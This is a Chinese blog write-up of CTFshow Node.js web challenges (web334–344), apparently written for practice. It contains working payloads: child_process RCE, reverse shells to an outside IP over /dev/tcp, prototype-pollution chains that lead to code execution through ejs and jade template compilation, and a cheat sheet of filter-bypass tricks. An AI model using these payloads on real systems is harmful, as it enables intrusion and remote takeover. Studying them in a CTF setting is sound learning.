ctfshow_node篇刷题

本文最后更新于:2 天前

是的,如标题所示,这是一篇ctfshow的刷题记录

你是说,一个学了两年网络安全的土豆开始刷ctfshow里的入门篇了?

为什么这时候突然写一篇这样的文章?

还不是为了冲刺一下下周的国赛啊啊啊啊

node相关的题目之前涉猎的不多,正好趁这次机会补一补,话不多说,开始刷题!

web334

题目环境就是个登录框

给了一个zip文件,解压,里面有两个文件

先看index.js,获得flag的逻辑主要就是需要得到一个用户名不为CTFSHOW,并且用户名转化为大写与users中的条目匹配,且密码匹配

什么意思呢?看一眼user.js,就定义了一个导出数组,数组里有一个json,即一个user对象,其username正好是CTFSHOW,密码为123456

加上前面的大写转化,很容易我们就得出只需要传入ctfShow即可,反正转大写和CTFSHOW一样就行,密码传123456

1
2
3
4
5
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};

web335

首页长这样

路径扫到了个flag路由

但是一顿翻下来什么也没找到

实在没办法了,尝试在/flag路由fuzz路径中不可见字符,触发什么解析错误,但是败北

尝试对参数进行fuzz,得到eval参数

直接rce

1
require('child_process').exec('bash -c "sh -i >& /dev/tcp/47.*.*.97/7890 0>&1"');

当然如果想得到回显的话可以使用同步执行函数execSync()、spawnSync()

1
2
require('child_process').execSync('ls').toString();
require('child_process').spawnSync('sh',['-c','ls']).stdout.toString();

web336

和上一题一个样子

但是又出一题,那就猜是新增了过滤

简单手工fuzz了下是exec被禁了

于是乎:

1
require('child_process')['exe'%2B'cSync']('ls')

xss经典思路转化到node

1
eval(Buffer.from('cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCdscycp','base64').toString())

巴拉巴拉

1
eval(Buffer.from('7265717569726528276368696c645f70726f6365737327292e6578656353796e6328276c732729','hex').toString())

web337

题目给出了一份源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}

});

module.exports = router;

要求a和b的长度相同,且a与b不同,a与b拼接flag字符串后的md5值相同

乍一看几乎不可能,在满足其他条件的前提下,如何能保证a!==b

在js中存在着这样一个特性,当数组与字符串进行拼接的时候,会调用数组的toString()方法

1
2
3
4
5
6
> ['1','2'].toString()
'1,2'
> ['123']+'1'
'1231'
> '123'+'1'
'1231'

所以很明显了吧

当a是一个字符串’123’,b是一个数组[‘123’],不就满足与flag拼接后的md5相同的同时a和b不同嘛?

当然,还有一个条件没能满足,就是a.length===b.length,那很简单

a是’1’,b是[‘1’]就可以啦

web338

给了源码,定位到flag,需要srcret的ctfshow属性为字符串’36dboy’

但是乍一看我们可控的点只有session参数,怎么办呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}


});

其中有个操作,是将请求体copy给user对象

查看copy()函数

1
2
3
4
5
6
7
8
9
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

接下来就需要引入js中十分经典的漏洞原型链污染了,具体原理不做赘述网上都有

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

1
2
3
{"__proto__":{
"ctfshow":"36dboy"
}}

web339

和上一题不同的点在于此处的比较是拿ctfshow和flag比较,显然我们没办法获取到flag的值

在api.js中,如果此处query可控的话,则会通过Function立即触发rce

在js中,若某个变量不存在,则会向其__proto__中寻找,再找不到会继续向上寻找,直到proto为null

且所有的对象的最上层proto都为一个object对象(见两年前js学习),因此污染object中的某个值,都能在其他位置通过其他对象被访问到

此处的Function的参数query在上下文未定义,若能够通过原型链污染污染其值,在此处即可导致rce

payload打过去始终无结果

1
2
3
4
{
"__proto__":{
"query":"require('child_process').execSync(req.body.cmd).toString();"}
}

于是乎本地开调试,发现了如下报错

Function 构造函数创建的函数在执行时 不能访问外部作用域,也就是说,它在一个沙箱环境中运行,不会继承 require 等 Node.js 内置模块

不过也是有办法的,在Function环境可以使用global来获取全局模块,并且Function无法获取到req这种外部属性

1
2
3
{"__proto__":{
"query":"global.process.mainModule.constructor._load('child_process').exec('bash -c \"sh -i >& /dev/tcp/47.121.138.97/7890 0>&1\"');"
}}

所以最好的办法还是弹shell

随后POST访问api路由

根目录下读start.sh发现是将flag写入环境变量了

web340

api处仍然存在rce

登录有点不同,但是仔细理解下会发现这里只需要传递两层proto上去即可

1
2
3
4
5
6
7
{
"__proto__":{
"__proto__":{
"query":"global.process.mainModule.constructor._load('child_process').exec('calc');"
}
}
}

payload:

1
2
3
4
5
6
7
{
"__proto__":{
"__proto__":{
"query":"global.process.mainModule.constructor._load('child_process').exec('bash -c \"sh -i >& /dev/tcp/47.121.138.97/7890 0>&1\"');"
}
}
}

不过思考下,除了这里rce的点能否直接通过login这里的逻辑,污染user.userinfo.isAdmin,输出flag呢

答案是不行的,因为此处user的属性已经通过构造器进行了赋值,此时即使污染了Object的userinfo.isAdmin,无法走到此处,对userinfo进行赋值

web341

没了api.js,仍存在原型链污染,与上一题相同,需要向上污染两层

找了找,与之前不同之处在此views/error.html中,存在一处模板渲染

找到渲染之处

存在ejs,若能够控制error,则能够造成模板注入

显然可控

猜测渲染,好吧好像不是这么玩的(

简单搜了下ejs模板注入,找到这么一篇文章https://xz.aliyun.com/news/11769

且查看ejs版本:

按文章中outputFunctionName的结构所在位置,我们进行一个拼接:

成功rce

web342

与上一题不同的是,模板引擎换做了jade

参考ejs洞的调试历程,自己跟进jade的,在compile()函数中也同样找到了大量的代码拼接

在往下直接调用了Function进行函数构造,因此如果能走到此处并控制fn实际上就能实现rce了

但是调试一番过后会发现走不到这,会在前面的parse()就throw出error

跟进parse()看看流程

注意到抛出的报错如下,this[("visit" + node.type)] is not a function,看起来是有什么代码执行的部分

image-20250321203708618

调用栈如下,找到visitNode()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Compiler.visitNode (d:\Downloads\web342\node_modules\jade\lib\compiler.js:225)
Compiler.visit (d:\Downloads\web342\node_modules\jade\lib\compiler.js:212)
Compiler.visitBlock (d:\Downloads\web342\node_modules\jade\lib\compiler.js:295)
Compiler.visitNode (d:\Downloads\web342\node_modules\jade\lib\compiler.js:225)
Compiler.visit (d:\Downloads\web342\node_modules\jade\lib\compiler.js:212)
Compiler.compile (d:\Downloads\web342\node_modules\jade\lib\compiler.js:66)
parse (d:\Downloads\web342\node_modules\jade\lib\index.js:114)
exports.compile (d:\Downloads\web342\node_modules\jade\lib\index.js:205)
handleTemplateCache (d:\Downloads\web342\node_modules\jade\lib\index.js:174)
exports.renderFile (d:\Downloads\web342\node_modules\jade\lib\index.js:380)
exports.renderFile (d:\Downloads\web342\node_modules\jade\lib\index.js:370)
exports.__express (d:\Downloads\web342\node_modules\jade\lib\index.js:417)
View.render (d:\Downloads\web342\node_modules\express\lib\view.js:135)
tryRender (d:\Downloads\web342\node_modules\express\lib\application.js:640)
function(req, res, next) {.render (d:\Downloads\web342\node_modules\express\lib\application.js:592)
ServerResponse.render (d:\Downloads\web342\node_modules\express\lib\response.js:1008)
<anonymous> (d:\Downloads\web342\app.js:57)
Layer.handle_error (d:\Downloads\web342\node_modules\express\lib\router\layer.js:71)
trim_prefix (d:\Downloads\web342\node_modules\express\lib\router\index.js:315)
<anonymous> (d:\Downloads\web342\node_modules\express\lib\router\index.js:284)

因此Compiler内的任意visit开头的方法我们都能主动调用

为避免报错,这里我尝试给type赋值了一个Code

找buf可控处,在visit中同样存在一处,line可控,filename虽也可控,但是经过utils.stringify()处理,会变成字符串而并非原样拼接上去

like this:

因此这里要污染的话我最优先会选择line,compile中所有push进buf的语句,到最后都会赋值给fn

在我尝试取消上面visit*导致的报错,我尝试令type为不同的值,使得visitNode被调用的时候能够正确找到函数,我挑着函数体尽量简单的visit*去调用

例如下面这个visitMixinBlock(也经过了很多其他的尝试,最终都会走到一处异常,但是我个人认为这个visitMixinBlock()的异常是最好解决的)

传入如下

报错:

一番调试过后发现问题出在此处:

以下代码在parse()中,在给body赋值的时候,若options.self为false,会走入后面的addWith()中,我们使用上面payload的时候走到此处确实是undefined

但是一路跟进去就会发现又会来到loadPlugins这里,但是这里又必定报错,于是最后会直接抛出异常

怎么解决呢?很简单,让options.self被污染一下不就好啦

1
2
3
4
5
6
7
8
{"__proto__":{
"__proto__":{
"type":"MixinBlock",
"self":"true",
"line":"global.process.mainModule.constructor._load('child_process').exec('calc')"
}
}
}

然后可以看看我们push到buf中,最后构造的函数fn

成功rce

经过一番测试,visitDoctype(),visitCode(),visitComment(),visitBlockComment()的调用也能触发rce,不过除了visitMixinBlock()其他都会弹好几次的计算器hhhh

但是线上环境好像只有Code可以???

web343

题目是这么描述的

随便给键编了个码,就过了?

1
2
3
4
5
6
7
8
{"__proto__":{
"__proto__":{
"\u0074\u0079\u0070\u0065":"Code",
"\u0073\u0065\u006c\u0066":"true",
"\u006c\u0069\u006e\u0065":"global.process.mainModule.constructor._load('child_process').exec('bash -c \"sh -i >& /dev/tcp/47.121.138.97/7890 0>&1\"')"
}
}
}

看一眼代码怎么个事,居然只拦截了Text

难不成上一题环境中visitText也是可以的?然后回头测了下并不行

web344

1
2
3
4
5
6
7
8
9
10
11
12
13
14
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}

});

知识点一:

一个好久以前打比赛碰到的小trick了,node中传入几个相同参数名的参数,会将他们放到一个数组中

1
http://127.0.0.1:3000/?query=1&query=2&query=3

知识点二:

js中数组被当作字符串的时候,会调用其toString(),

因此如果构造如下数组,js会自动使用逗号拼接上

传入

1
http://127.0.0.1:3000/?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}

仍然有一个2c,不过问题不大unicode编码一下即可

1
?query={"name":"admin"&query="password":"\u0063\u0074\u0066\u0073\u0068\u006f\u0077"&query="isVIP":true}

至此该部分也是完结撒花辣!

各种绕过

hex编码

1
"a"==="\x61"

unicode编码

1
"a"==="\u0061"

模板

1
[`${`${`exe`}cSync`}`]

concat

1
["exe".concat("cSync")]

base64见上文

Object

1
2
console.log(require('child_process').constructor===Object)
Object.values(require('child_process'))[5]('curl 127.0.0.1:1234')

Reflect

1
2
console.log(Reflect.ownKeys(global))
console.log(global[Reflect.ownKeys(global).find(x=>x.includes('eval'))])

过滤中括号

可以使用Reflect.get()来从对象上获取属性的值

1
Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))

js大小写特性

Fuzz中的javascript大小写特性

1
2
字符"ı""ſ" 经过toUpperCase处理后结果为 "I""S"
字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)